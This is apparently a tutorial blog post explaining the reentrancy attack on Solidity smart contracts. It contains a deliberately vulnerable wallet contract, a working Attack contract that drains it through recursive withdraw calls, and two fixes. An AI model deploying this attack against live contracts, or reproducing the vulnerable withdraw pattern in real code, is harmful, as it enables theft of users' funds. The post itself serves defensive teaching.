With the rise of web3, we have seen financial solutions taking advantage of the blockchain to deliver innovative products and services, this has also brought about an accompanying rise of malicious actors and hackers seeking to find exploits in several of such systems. In recent times there have been a lot of reports of cryptocurrency hacks causing losses of funds sometimes running into millions of dollars, it will be paramount for a developer to have a proper understanding of these exploits and how to secure their applications. One of the most common hacks is called the Reentracy hack attack, this attack is an exploit that uses a recursive call to a funded Smart contract to illegally withdraw tokens from it.
The following code example is a classic case of a Reentracy attack
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
contract EtherWallet {
mapping(address => uint) public balances; // user's balances
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
uint bal = balances[msg.sender];
require(bal > 0);
(bool sent, ) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Ether");
balances[msg.sender] = 0;
}
// Helper function to check the balance of this contract
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
contract Attack {
EtherWallet public etherWallet;
constructor(address _etherWalletAddress) {
etherWallet = EtherWallet(_etherWalletAddress);
}
// Fallback is called when EtherWallet sends Ether to this contract.
fallback() external payable {
if (address(etherWallet).balance >= 1 ether) {
etherWallet.withdraw();
}
}
function attack() external payable {
require(msg.value >= 1 ether);
etherWallet.deposit{value: 1 ether}();
etherWallet.withdraw();
}
// Helper function to check the balance of this contract
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
There are two contracts in the above example the first one etherWallet, acts as a simple bank where users can deposit and withdraw their ethers. The second contract Attack is initialized with the etherWallet contract address, it has an attack function that when called, first invokes the etherWallet.deposit function to deposit 1 ether, it then moves to run etherWallet.withdraw function, which sends the 1 ether back to the Attack address,
function attack() external payable {
require(msg.value >= 1 ether);
etherWallet.deposit{value: 1 ether}();
etherWallet.withdraw();
}
the function that receives the withdrawal is the fallback function which has another etherWallet.withdraw function within it, since the etherWallet contract hasn't updated the user balance for the Attack contract, it stills reads its balance as having 1 ether, this continues as a recursive loop until the etherWallet balance is completely drained.
fallback() external payable {
if (address(etherWallet).balance >= 1 ether) {
etherWallet.withdraw();
}
}
Stopping the Hack
A simple way of solving this will be to make sure the withdraw function updates the user's balance before sending the funds
function withdraw() public {
uint bal = balances[msg.sender];
require(bal > 0);
balances[msg.sender] = 0; //Updated balance before sending
(bool sent, ) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Ether");
}
Another way is creating a function modifier that locks the withdrawal function when it is still being called and doesn't allow a concurrent call on it
contract ReEntrancyLock {
bool internal locked;
modifier noReentrant() {
require(!locked, "No re-entrancy");
locked = true;
_;
locked = false;
}
}
OpenZeppelin has a ready-made implementation of a ReentracyGuard that can be easily integrated into your projects. One can clearly see that detailed attention and care must be put into building fault-tolerant applications that users can commit their precious funds into. Stay safe!